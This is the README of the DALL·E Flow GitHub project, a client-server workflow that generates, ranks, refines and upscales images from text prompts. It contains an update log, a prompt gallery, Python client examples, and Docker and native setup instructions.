jina-ai/dalle-flow	<p align="center"> <!--startmsg--> <a href="#server"><img src="./.github/deprecation-banner.svg?raw=true"></a> <!--endmsg--><p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/banner.svg?raw=true" alt="DALL·E Flow: A Human-in-the-loop workflow for creating HD images from text" width="60%"> <br> <b>A Human-in-the-loop<sup><a href="https://en.wikipedia.org/wiki/Human-in-the-loop">?</a></sup> workflow for creating HD images from text</b> </p> <p align=center> <a href="https://discord.jina.ai"><img src="https://img.shields.io/discord/1106542220112302130?logo=discord&logoColor=white&style=flat-square"></a> <a href="https://colab.research.google.com/github/jina-ai/dalle-flow/blob/main/client.ipynb"><img src="https://img.shields.io/badge/Open-in%20Colab-brightgreen?logo=google-colab&style=flat-square" alt="Open in Google Colab"/></a> <a href="https://hub.docker.com/r/jinaai/dalle-flow"><img alt="Docker Image Size (latest by date)" src="https://img.shields.io/docker/image-size/jinaai/dalle-flow?logo=docker&logoColor=white&style=flat-square"></a> </p> DALL·E Flow is an interactive workflow for generating high-definition images from text prompt. First, it leverages [DALL·E-Mega](https://github.com/borisdayma/dalle-mini), [GLID-3 XL](https://github.com/Jack000/glid-3-xl), and [Stable Diffusion](https://github.com/CompVis/stable-diffusion) to generate image candidates, and then calls [CLIP-as-service](https://github.com/jina-ai/clip-as-service) to rank the candidates w.r.t. the prompt. The preferred candidate is fed to [GLID-3 XL](https://github.com/Jack000/glid-3-xl) for diffusion, which often enriches the texture and background. Finally, the candidate is upscaled to 1024x1024 via [SwinIR](https://github.com/JingyunLiang/SwinIR). DALL·E Flow is built with [Jina](https://github.com/jina-ai/jina) in a client-server architecture, which gives it high scalability, non-blocking streaming, and a modern Pythonic interface. Client can interact with the server via gRPC/Websocket/HTTP with TLS. Why Human-in-the-loop? Generative art is a creative process. While recent advances of DALL·E unleash people's creativity, having a single-prompt-single-output UX/UI locks the imagination to a _single_ possibility, which is bad no matter how fine this single result is. DALL·E Flow is an alternative to the one-liner, by formalizing the generative art as an iterative procedure. ## Usage DALL·E Flow is in client-server architecture. - [Client usage](#Client) - [Server usage, i.e. deploy your own server](#Server) ## Updates - 🌟 2022/10/27 [RealESRGAN upscalers](https://github.com/xinntao/Real-ESRGAN) have been added. - ⚠️ 2022/10/26 To use CLIP-as-service available at `grpcs://api.clip.jina.ai:2096` (requires `jina >= v3.11.0`), you need first get an access token from [here](https://console.clip.jina.ai/get_started). See [Use the CLIP-as-service](#use-the-clip-as-service) for more details. - 🌟 2022/9/25 Automated [CLIP-based segmentation](https://github.com/timojl/clipseg) from a prompt has been added. - 🌟 2022/8/17 Text to image for [Stable Diffusion](https://github.com/CompVis/stable-diffusion) has been added. In order to use it you will need to agree to their ToS, download the weights, then enable the flag in docker or `flow_parser.py`. - ⚠️ 2022/8/8 Started using CLIP-as-service as an [external executor](https://docs.jina.ai/fundamentals/flow/add-executors/#external-executors). Now you can easily [deploy your own CLIP executor](#run-your-own-clip) if you want. There is [a small breaking change](https://github.com/jina-ai/dalle-flow/pull/74/files#diff-b335630551682c19a781afebcf4d07bf978fb1f8ac04c6bf87428ed5106870f5R103) as a result of this improvement, so [please _reopen_ the notebook in Google Colab](https://colab.research.google.com/github/jina-ai/dalle-flow/blob/main/client.ipynb). - ⚠️ 2022/7/6 Demo server migration to AWS EKS for better availability and robustness, server URL is now changing to `grpcs://dalle-flow.dev.jina.ai`. All connections are now with TLS encryption, [please _reopen_ the notebook in Google Colab](https://colab.research.google.com/github/jina-ai/dalle-flow/blob/main/client.ipynb). - ⚠️ 2022/6/25 Unexpected downtime between 6/25 0:00 - 12:00 CET due to out of GPU quotas. The new server now has 2 GPUs, add healthcheck in client notebook. - 2022/6/3 Reduce default number of images to 2 per pathway, 4 for diffusion. - 🐳 2022/6/21 [A prebuilt image is now available on Docker Hub!](https://hub.docker.com/r/jinaai/dalle-flow) This image can be run out-of-the-box on CUDA 11.6. Fix an upstream bug in CLIP-as-service. - ⚠️ 2022/5/23 Fix an upstream bug in CLIP-as-service. This bug makes the 2nd diffusion step irrelevant to the given texts. New Dockerfile proved to be reproducible on a AWS EC2 `p2.x8large` instance. - 2022/5/13b Removing TLS as Cloudflare gives 100s timeout, making DALLE Flow in usable [Please _reopen_ the notebook in Google Colab!](https://colab.research.google.com/github/jina-ai/dalle-flow/blob/main/client.ipynb). - 🔐 2022/5/13 New Mega checkpoint! All connections are now with TLS, [Please _reopen_ the notebook in Google Colab!](https://colab.research.google.com/github/jina-ai/dalle-flow/blob/main/client.ipynb). - 🐳 2022/5/10 [A Dockerfile is added! Now you can easily deploy your own DALL·E Flow](#run-in-docker). New Mega checkpoint! Smaller memory-footprint, the whole Flow can now fit into one GPU with 21GB memory. - 🌟 2022/5/7 New Mega checkpoint & multiple optimization on GLID3: less memory-footprint, use `ViT-L/14@336px` from CLIP-as-service, `steps 100->200`. - 🌟 2022/5/6 DALL·E Flow just got updated! [Please _reopen_ the notebook in Google Colab!](https://colab.research.google.com/github/jina-ai/dalle-flow/blob/main/client.ipynb) - Revised the first step: 16 candidates are generated, 8 from DALL·E Mega, 8 from GLID3-XL; then ranked by CLIP-as-service. - Improved the flow efficiency: the overall speed, including diffusion and upscaling are much faster now! ## Gallery <img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20realistic%20photo%20of%20a%20muddy%20dog.png?raw=true" width="32%" alt="a realistic photo of a muddy dog" title="a realistic photo of a muddy dog"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/A%20scientist%20comparing%20apples%20and%20oranges%2C%20by%20Norman%20Rockwell.png?raw=true" width="32%" alt="A scientist comparing apples and oranges, by Norman Rockwell" title="A scientist comparing apples and oranges, by Norman Rockwell"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/an%20oil%20painting%20portrait%20of%20the%20regal%20Burger%20King%20posing%20with%20a%20Whopper.png?raw=true" width="32%" alt="an oil painting portrait of the regal Burger King posing with a Whopper" title="an oil painting portrait of the regal Burger King posing with a Whopper"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/Eternal%20clock%20powered%20by%20a%20human%20cranium%2C%20artstation.png?raw=true" width="32%" alt="Eternal clock powered by a human cranium, artstation" title="Eternal clock powered by a human cranium, artstation"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/another%20planet%20amazing%20landscape.png?raw=true" width="32%" alt="another planet amazing landscape" title="another planet amazing landscape"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/The%20Decline%20and%20Fall%20of%20the%20Roman%20Empire%20board%20game%20kickstarter.png?raw=true" width="32%" alt="The Decline and Fall of the Roman Empire board game kickstarter" title="The Decline and Fall of the Roman Empire board game kickstarter"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/A%20raccoon%20astronaut%20with%20the%20cosmos%20reflecting%20on%20the%20glass%20of%20his%20helmet%20dreaming%20of%20the%20stars%2C%20digital%20art.png?raw=true" width="32%" alt="A raccoon astronaut with the cosmos reflecting on the glass of his helmet dreaming of the stars, digital art" title="A raccoon astronaut with the cosmos reflecting on the glass of his helmet dreaming of the stars, digital art"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/A%20photograph%20of%20an%20apple%20that%20is%20a%20disco%20ball%2C%2085%20mm%20lens%2C%20studio%20lighting.png?raw=true" width="32%" alt="A photograph of an apple that is a disco ball, 85 mm lens, studio lighting" title="A photograph of an apple that is a disco ball, 85 mm lens, studio lighting"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20cubism%20painting%20Donald%20trump%20happy%20cyberpunk.png?raw=true" width="32%" alt="a cubism painting Donald trump happy cyberpunk" title="a cubism painting Donald trump happy cyberpunk"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/oil%20painting%20of%20a%20hamster%20drinking%20tea%20outside.png?raw=true" width="32%" alt="oil painting of a hamster drinking tea outside" title="oil painting of a hamster drinking tea outside"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/Colossus%20of%20Rhodes%20by%20Max%20Ernst.png?raw=true" width="32%" alt="Colossus of Rhodes by Max Ernst" title="Colossus of Rhodes by Max Ernst"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/landscape%20with%20great%20castle%20in%20middle%20of%20forest.png?raw=true" width="32%" alt="landscape with great castle in middle of forest" title="landscape with great castle in middle of forest"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/an%20medieval%20oil%20painting%20of%20Kanye%20west%20feels%20satisfied%20while%20playing%20chess%20in%20the%20style%20of%20Expressionism.png?raw=true" width="32%" alt="an medieval oil painting of Kanye west feels satisfied while playing chess in the style of Expressionism" title="an medieval oil painting of Kanye west feels satisfied while playing chess in the style of Expressionism"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/An%20oil%20pastel%20painting%20of%20an%20annoyed%20cat%20in%20a%20spaceship.png?raw=true" width="32%" alt="An oil pastel painting of an annoyed cat in a spaceship" title="An oil pastel painting of an annoyed cat in a spaceship"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/dinosaurs%20at%20the%20brink%20of%20a%20nuclear%20disaster.png?raw=true" width="32%" alt="dinosaurs at the brink of a nuclear disaster" title="dinosaurs at the brink of a nuclear disaster"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/fantasy%20landscape%20with%20medieval%20city.png?raw=true" width="32%" alt="fantasy landscape with medieval city" title="fantasy landscape with medieval city"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/GPU%20chip%20in%20the%20form%20of%20an%20avocado%2C%20digital%20art.png?raw=true" width="32%" alt="GPU chip in the form of an avocado, digital art" title="GPU chip in the form of an avocado, digital art"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20giant%20rubber%20duck%20in%20the%20ocean.png?raw=true" width="32%" alt="a giant rubber duck in the ocean" title="a giant rubber duck in the ocean"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/Paddington%20bear%20as%20austrian%20emperor%20in%20antique%20black%20%26%20white%20photography.png?raw=true" width="32%" alt="Paddington bear as austrian emperor in antique black & white photography" title="Paddington bear as austrian emperor in antique black & white photography"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20rainy%20night%20with%20a%20superhero%20perched%20above%20a%20city%2C%20in%20the%20style%20of%20a%20comic%20book.png?raw=true" width="32%" alt="a rainy night with a superhero perched above a city, in the style of a comic book" title="a rainy night with a superhero perched above a city, in the style of a comic book"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/A%20synthwave%20style%20sunset%20above%20the%20reflecting%20water%20of%20the%20sea%2C%20digital%20art.png?raw=true" width="32%" alt="A synthwave style sunset above the reflecting water of the sea, digital art" title="A synthwave style sunset above the reflecting water of the sea, digital art"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/an%20oil%20painting%20of%20ocean%20beach%20front%20in%20the%20style%20of%20Titian.png?raw=true" width="32%" alt="an oil painting of ocean beach front in the style of Titian" title="an oil painting of ocean beach front in the style of Titian"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/an%20oil%20painting%20of%20Klingon%20general%20in%20the%20style%20of%20Rubens.png?raw=true" width="32%" alt="an oil painting of Klingon general in the style of Rubens" title="an oil painting of Klingon general in the style of Rubens"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/city%2C%20top%20view%2C%20cyberpunk%2C%20digital%20realistic%20art.png?raw=true" width="32%" alt="city, top view, cyberpunk, digital realistic art" title="city, top view, cyberpunk, digital realistic art"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/an%20oil%20painting%20of%20a%20medieval%20cyborg%20automaton%20made%20of%20magic%20parts%20and%20old%20steampunk%20mechanics.png?raw=true" width="32%" alt="an oil painting of a medieval cyborg automaton made of magic parts and old steampunk mechanics" title="an oil painting of a medieval cyborg automaton made of magic parts and old steampunk mechanics"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20watercolour%20painting%20of%20a%20top%20view%20of%20a%20pirate%20ship%20sailing%20on%20the%20clouds.png?raw=true" width="32%" alt="a watercolour painting of a top view of a pirate ship sailing on the clouds" title="a watercolour painting of a top view of a pirate ship sailing on the clouds"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20knight%20made%20of%20beautiful%20flowers%20and%20fruits%20by%20Rachel%20ruysch%20in%20the%20style%20of%20Syd%20brak.png?raw=true" width="32%" alt="a knight made of beautiful flowers and fruits by Rachel ruysch in the style of Syd brak" title="a knight made of beautiful flowers and fruits by Rachel ruysch in the style of Syd brak"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%203D%20render%20of%20a%20rainbow%20colored%20hot%20air%20balloon%20flying%20above%20a%20reflective%20lake.png?raw=true" width="32%" alt="a 3D render of a rainbow colored hot air balloon flying above a reflective lake" title="a 3D render of a rainbow colored hot air balloon flying above a reflective lake"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20teddy%20bear%20on%20a%20skateboard%20in%20Times%20Square%20.png?raw=true" width="32%" alt="a teddy bear on a skateboard in Times Square " title="a teddy bear on a skateboard in Times Square "><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/cozy%20bedroom%20at%20night.png?raw=true" width="32%" alt="cozy bedroom at night" title="cozy bedroom at night"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/an%20oil%20painting%20of%20monkey%20using%20computer.png?raw=true" width="32%" alt="an oil painting of monkey using computer" title="an oil painting of monkey using computer"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/the%20diagram%20of%20a%20search%20machine%20invented%20by%20Leonardo%20da%20Vinci.png?raw=true" width="32%" alt="the diagram of a search machine invented by Leonardo da Vinci" title="the diagram of a search machine invented by Leonardo da Vinci"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/A%20stained%20glass%20window%20of%20toucans%20in%20outer%20space.png?raw=true" width="32%" alt="A stained glass window of toucans in outer space" title="A stained glass window of toucans in outer space"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20campfire%20in%20the%20woods%20at%20night%20with%20the%20milky-way%20galaxy%20in%20the%20sky.png?raw=true" width="32%" alt="a campfire in the woods at night with the milky-way galaxy in the sky" title="a campfire in the woods at night with the milky-way galaxy in the sky"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/Bionic%20killer%20robot%20made%20of%20AI%20scarab%20beetles.png?raw=true" width="32%" alt="Bionic killer robot made of AI scarab beetles" title="Bionic killer robot made of AI scarab beetles"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/The%20Hanging%20Gardens%20of%20Babylon%20in%20the%20middle%20of%20a%20city%2C%20in%20the%20style%20of%20Dal%C3%AD.png?raw=true" width="32%" alt="The Hanging Gardens of Babylon in the middle of a city, in the style of Dalí" title="The Hanging Gardens of Babylon in the middle of a city, in the style of Dalí"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/painting%20oil%20of%20Izhevsk.png?raw=true" width="32%" alt="painting oil of Izhevsk" title="painting oil of Izhevsk"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20hyper%20realistic%20photo%20of%20a%20marshmallow%20office%20chair.png?raw=true" width="32%" alt="a hyper realistic photo of a marshmallow office chair" title="a hyper realistic photo of a marshmallow office chair"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/fantasy%20landscape%20with%20city.png?raw=true" width="32%" alt="fantasy landscape with city" title="fantasy landscape with city"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/ocean%20beach%20front%20view%20in%20Van%20Gogh%20style.png?raw=true" width="32%" alt="ocean beach front view in Van Gogh style" title="ocean beach front view in Van Gogh style"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/An%20oil%20painting%20of%20a%20family%20reunited%20inside%20of%20an%20airport%2C%20digital%20art.png?raw=true" width="32%" alt="An oil painting of a family reunited inside of an airport, digital art" title="An oil painting of a family reunited inside of an airport, digital art"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/antique%20photo%20of%20a%20knight%20riding%20a%20T-Rex.png?raw=true" width="32%" alt="antique photo of a knight riding a T-Rex" title="antique photo of a knight riding a T-Rex"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20top%20view%20of%20a%20pirate%20ship%20sailing%20on%20the%20clouds.png?raw=true" width="32%" alt="a top view of a pirate ship sailing on the clouds" title="a top view of a pirate ship sailing on the clouds"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/an%20oil%20painting%20of%20a%20humanoid%20robot%20playing%20chess%20in%20the%20style%20of%20Matisse.png?raw=true" width="32%" alt="an oil painting of a humanoid robot playing chess in the style of Matisse" title="an oil painting of a humanoid robot playing chess in the style of Matisse"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20cubism%20painting%20of%20a%20cat%20dressed%20as%20French%20emperor%20Napoleon.png?raw=true" width="32%" alt="a cubism painting of a cat dressed as French emperor Napoleon" title="a cubism painting of a cat dressed as French emperor Napoleon"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/a%20husky%20dog%20wearing%20a%20hat%20with%20sunglasses.png?raw=true" width="32%" alt="a husky dog wearing a hat with sunglasses" title="a husky dog wearing a hat with sunglasses"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/A%20mystical%20castle%20appears%20between%20the%20clouds%20in%20the%20style%20of%20Vincent%20di%20Fate.png?raw=true" width="32%" alt="A mystical castle appears between the clouds in the style of Vincent di Fate" title="A mystical castle appears between the clouds in the style of Vincent di Fate"><img src="https://github.com/hanxiao/dalle/blob/gallery/.github/gallery/golden%20gucci%20airpods%20realistic%20photo.png?raw=true" width="32%" alt="golden gucci airpods realistic photo" title="golden gucci airpods realistic photo"> ## Client <a href="https://colab.research.google.com/github/jina-ai/dalle-flow/blob/main/client.ipynb"><img src="https://img.shields.io/badge/Open-in%20Colab-orange?logo=google-colab&style=flat-square" alt="Open in Google Colab"/></a> Using client is super easy. The following steps are best run in [Jupyter notebook](./client.ipynb) or [Google Colab](https://colab.research.google.com/github/jina-ai/dalle-flow/blob/main/client.ipynb). You will need to install [DocArray](https://github.com/jina-ai/docarray) and [Jina](https://github.com/jina-ai/jina) first: ```bash pip install "docarray[common]>=0.13.5" jina ``` We have provided a demo server for you to play: > ⚠️ Due to the massive requests, our server may be delay in response. Yet we are _very_ confident on keeping the uptime high. You can also deploy your own server by [following the instruction here](#server). ```python server_url = 'grpcs://dalle-flow.dev.jina.ai' ``` ### Step 1: Generate via DALL·E Mega Now let's define the prompt: ```python prompt = 'an oil painting of a humanoid robot playing chess in the style of Matisse' ``` Let's submit it to the server and visualize the results: ```python from docarray import Document doc = Document(text=prompt).post(server_url, parameters={'num_images': 8}) da = doc.matches da.plot_image_sprites(fig_size=(10,10), show_index=True) ``` Here we generate 24 candidates, 8 from DALLE-mega, 8 from GLID3 XL, and 8 from Stable Diffusion, this is as defined in `num_images`, which takes about ~2 minutes. You can use a smaller value if it is too long for you. <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/client-dalle.png?raw=true" width="70%"> </p> ### Step 2: Select and refinement via GLID3 XL The 24 candidates are sorted by [CLIP-as-service](https://github.com/jina-ai/clip-as-service), with index-`0` as the best candidate judged by CLIP. Of course, you may think differently. Notice the number in the top-left corner? Select the one you like the most and get a better view: ```python fav_id = 3 fav = da[fav_id] fav.embedding = doc.embedding fav.display() ``` <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/client-select1.png?raw=true" width="30%"> </p> Now let's submit the selected candidates to the server for diffusion. ```python diffused = fav.post(f'{server_url}', parameters={'skip_rate': 0.5, 'num_images': 36}, target_executor='diffusion').matches diffused.plot_image_sprites(fig_size=(10,10), show_index=True) ``` This will give 36 images based on the selected image. You may allow the model to improvise more by giving `skip_rate` a near-zero value, or a near-one value to force its closeness to the given image. The whole procedure takes about ~2 minutes. <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/client-glid.png?raw=true" width="60%"> </p> ### Step 3: Select and upscale via SwinIR Select the image you like the most, and give it a closer look: ```python dfav_id = 34 fav = diffused[dfav_id] fav.display() ``` <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/client-select2.png?raw=true" width="30%"> </p> Finally, submit to the server for the last step: upscaling to 1024 x 1024px. ```python fav = fav.post(f'{server_url}/upscale') fav.display() ``` That's it! It is _the one_. If not satisfied, please repeat the procedure. <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/client-select3.png?raw=true" width="50%"> </p> Btw, DocArray is a powerful and easy-to-use data structure for unstructured data. It is super productive for data scientists who work in cross-/multi-modal domain. To learn more about DocArray, [please check out the docs](https://docs.jina.ai). ## Server You can host your own server by following the instruction below. ### Hardware requirements DALL·E Flow needs one GPU with 21GB VRAM at its peak. All services are squeezed into this one GPU, this includes (roughly) - DALLE ~9GB - GLID Diffusion ~6GB - Stable Diffusion ~8GB (batch_size=4 in `config.yml`, 512x512) - SwinIR ~3GB - CLIP ViT-L/14-336px ~3GB The following reasonable tricks can be used for further reducing VRAM: - SwinIR can be moved to CPU (-3GB) - CLIP can be delegated to [CLIP-as-service free server](https://console.clip.jina.ai/get_started) (-3GB) It requires at least 50GB free space on the hard drive, mostly for downloading pretrained models. High-speed internet is required. Slow/unstable internet may throw frustrating timeout when downloading models. CPU-only environment is not tested and likely won't work. Google Colab is likely throwing OOM hence also won't work. ### Server architecture <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/flow.svg?raw=true" width="70%"> </p> If you have installed Jina, the above flowchart can be generated via: ```bash # pip install jina jina export flowchart flow.yml flow.svg ``` ### Stable Diffusion weights If you want to use Stable Diffusion, you will first need to register an account on the website [Huggingface](https://huggingface.co/) and agree to the terms and conditions for the model. After logging in, you can find the version of the model required by going here: [CompVis / sd-v1-5-inpainting.ckpt](https://huggingface.co/runwayml/stable-diffusion-inpainting/blob/main/sd-v1-5-inpainting.ckpt) Under the Download the Weights section, click the link for `sd-v1-x.ckpt`. The latest weights at the time of writing are `sd-v1-5.ckpt`. DOCKER USERS: Put this file into a folder named `ldm/stable-diffusion-v1` and rename it `model.ckpt`. Follow the instructions below carefully because SD is not enabled by default. NATIVE USERS: Put this file into `dalle/stable-diffusion/models/ldm/stable-diffusion-v1/model.ckpt` after finishing the rest of the steps under "Run natively". Follow the instructions below carefully because SD is not enabled by default. ### Run in Docker #### Prebuilt image We have provided [a prebuilt Docker image](https://hub.docker.com/r/jinaai/dalle-flow) that can be pull directly. ```bash docker pull jinaai/dalle-flow:latest ``` #### Build it yourself We have provided [a Dockerfile](https://github.com/jina-ai/dalle-flow/blob/main/Dockerfile) which allows you to run a server out of the box. Our Dockerfile is using CUDA 11.6 as the base image, you may want to adjust it according to your system. ```bash git clone https://github.com/jina-ai/dalle-flow.git cd dalle-flow docker build --build-arg GROUP_ID=$(id -g ${USER}) --build-arg USER_ID=$(id -u ${USER}) -t jinaai/dalle-flow . ``` The building will take 10 minutes with average internet speed, which results in a 18GB Docker image. #### Run container To run it, simply do: ```bash docker run -p 51005:51005 \ -it \ -v $HOME/.cache:/home/dalle/.cache \ --gpus all \ jinaai/dalle-flow ``` Alternatively, you may also run with some workflows enabled or disabled to prevent out-of-memory crashes. To do that, pass one of these environment variables: ``` DISABLE_DALLE_MEGA DISABLE_GLID3XL DISABLE_SWINIR ENABLE_STABLE_DIFFUSION ENABLE_CLIPSEG ENABLE_REALESRGAN ``` For example, if you would like to disable GLID3XL workflows, run: ```bash docker run -e DISABLE_GLID3XL='1' \ -p 51005:51005 \ -it \ -v $HOME/.cache:/home/dalle/.cache \ --gpus all \ jinaai/dalle-flow ``` - The first run will take ~10 minutes with average internet speed. - `-v $HOME/.cache:/root/.cache` avoids repeated model downloading on every docker run. - The first part of `-p 51005:51005` is your host public port. Make sure people can access this port if you are serving publicly. The second par of it is [the port defined in flow.yml](https://github.com/jina-ai/dalle-flow/blob/e7e313522608668daeec1b7cd84afe56e5b19f1e/flow.yml#L4). - If you want to use Stable Diffusion, it must be enabled manually with the `ENABLE_STABLE_DIFFUSION`. - If you want to use clipseg, it must be enabled manually with the `ENABLE_CLIPSEG`. - If you want to use RealESRGAN, it must be enabled manually with the `ENABLE_REALESRGAN`. #### Special instructions for Stable Diffusion and Docker Stable Diffusion may only be enabled if you have downloaded the weights and make them available as a virtual volume while enabling the environmental flag (`ENABLE_STABLE_DIFFUSION`) for SD. You should have previously put the weights into a folder named `ldm/stable-diffusion-v1` and labeled them `model.ckpt`. Replace `YOUR_MODEL_PATH/ldm` below with the path on your own system to pipe the weights into the docker image. ```bash docker run -e ENABLE_STABLE_DIFFUSION="1" \ -e DISABLE_DALLE_MEGA="1" \ -e DISABLE_GLID3XL="1" \ -p 51005:51005 \ -it \ -v YOUR_MODEL_PATH/ldm:/dalle/stable-diffusion/models/ldm/ \ -v $HOME/.cache:/home/dalle/.cache \ --gpus all \ jinaai/dalle-flow ``` You should see the screen like following once running: <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/docker-run.png?raw=true" width="50%"> </p> Note that unlike running natively, running inside Docker may give less vivid progressbar, color logs, and prints. This is due to the limitations of the terminal in a Docker container. It does not affect the actual usage. ### Run natively Running natively requires some manual steps, but it is often easier to debug. #### Clone repos ```bash mkdir dalle && cd dalle git clone https://github.com/jina-ai/dalle-flow.git git clone https://github.com/jina-ai/SwinIR.git git clone --branch v0.0.15 https://github.com/AmericanPresidentJimmyCarter/stable-diffusion.git git clone https://github.com/CompVis/latent-diffusion.git git clone https://github.com/jina-ai/glid-3-xl.git git clone https://github.com/timojl/clipseg.git ``` You should have the following folder structure: ```text dalle/ \| \|-- Real-ESRGAN/ \|-- SwinIR/ \|-- clipseg/ \|-- dalle-flow/ \|-- glid-3-xl/ \|-- latent-diffusion/ \|-- stable-diffusion/ ``` #### Install auxiliary repos ```bash cd dalle-flow python3 -m virtualenv env source env/bin/activate && cd - pip install torch torchvision torchaudio --extra-index-url https://download.pytorch.org/whl/cu116 pip install numpy tqdm pytorch_lightning einops numpy omegaconf pip install https://github.com/crowsonkb/k-diffusion/archive/master.zip pip install git+https://github.com/AmericanPresidentJimmyCarter/stable-diffusion.git@v0.0.15 pip install basicsr facexlib gfpgan pip install realesrgan pip install https://github.com/AmericanPresidentJimmyCarter/xformers-builds/raw/master/cu116/xformers-0.0.14.dev0-cp310-cp310-linux_x86_64.whl && \ cd latent-diffusion && pip install -e . && cd - cd stable-diffusion && pip install -e . && cd - cd SwinIR && pip install -e . && cd - cd glid-3-xl && pip install -e . && cd - cd clipseg && pip install -e . && cd - ``` There are couple models we need to download for GLID-3-XL if you are using that: ```bash cd glid-3-xl wget https://dall-3.com/models/glid-3-xl/bert.pt wget https://dall-3.com/models/glid-3-xl/kl-f8.pt wget https://dall-3.com/models/glid-3-xl/finetune.pt cd - ``` Both `clipseg` and `RealESRGAN` require you to set a correct cache folder path, typically something like $HOME/. #### Install flow ```bash cd dalle-flow pip install -r requirements.txt pip install jax~=0.3.24 ``` ### Start the server Now you are under `dalle-flow/`, run the following command: ```bash # Optionally disable some generative models with the following flags when # using flow_parser.py: # --disable-dalle-mega # --disable-glid3xl # --disable-swinir # --enable-stable-diffusion python flow_parser.py jina flow --uses flow.tmp.yml ``` You should see this screen immediately: <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/server-onstart.png?raw=true" width="50%"> </p> On the first start it will take ~8 minutes for downloading the DALL·E mega model and other necessary models. The proceeding runs should only take ~1 minute to reach the success message. <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/server-wait.png?raw=true" width="50%"> </p> When everything is ready, you will see: <p align="center"> <img src="https://github.com/jina-ai/dalle-flow/blob/main/.github/server-success.png?raw=true" width="50%"> </p> Congrats! Now you should be able to [run the client](#client). You can modify and extend the server flow as you like, e.g. changing the model, adding persistence, or even auto-posting to Instagram/OpenSea. With Jina and DocArray, you can easily make DALL·E Flow [cloud-native and ready for production](https://github.com/jina-ai/jina). ### Use the CLIP-as-service To reduce the usage of vRAM, you can use the `CLIP-as-service` as an external executor freely available at `grpcs://api.clip.jina.ai:2096`. First, make sure you have created an access token from [console website](https://console.clip.jina.ai/get_started), or CLI as following ```bash jina auth token create <name of PAT> -e <expiration days> ``` Then, you need to change the executor related configs (`host`, `port`, `external`, `tls` and `grpc_metadata`) from [`flow.yml`](./flow.yml). ```yaml ... - name: clip_encoder uses: jinahub+docker://CLIPTorchEncoder/latest-gpu host: 'api.clip.jina.ai' port: 2096 tls: true external: true grpc_metadata: authorization: "<your access token>" needs: [gateway] ... - name: rerank uses: jinahub+docker://CLIPTorchEncoder/latest-gpu host: 'api.clip.jina.ai' port: 2096 uses_requests: '/': rank tls: true external: true grpc_metadata: authorization: "<your access token>" needs: [dalle, diffusion] ``` You can also use the `flow_parser.py` to automatically generate and run the flow with using the `CLIP-as-service` as external executor: ```bash python flow_parser.py --cas-token "<your access token>' jina flow --uses flow.tmp.yml ``` > ⚠️ `grpc_metadata` is only available after Jina `v3.11.0`. If you are using an older version, please upgrade to the latest version. Now, you can use the free `CLIP-as-service` in your flow. <!-- start support-pitch --> ## Support - To extend DALL·E Flow you will need to get familiar with [Jina](https://github.com/jina-ai/jina) and [DocArray](https://github.com/jina-ai/docarray). - Join our [Discord community](https://discord.jina.ai) and chat with other community members about ideas. - Join our [Engineering All Hands](https://youtube.com/playlist?list=PL3UBBWOUVhFYRUa_gpYYKBqEAkO4sxmne) meet-up 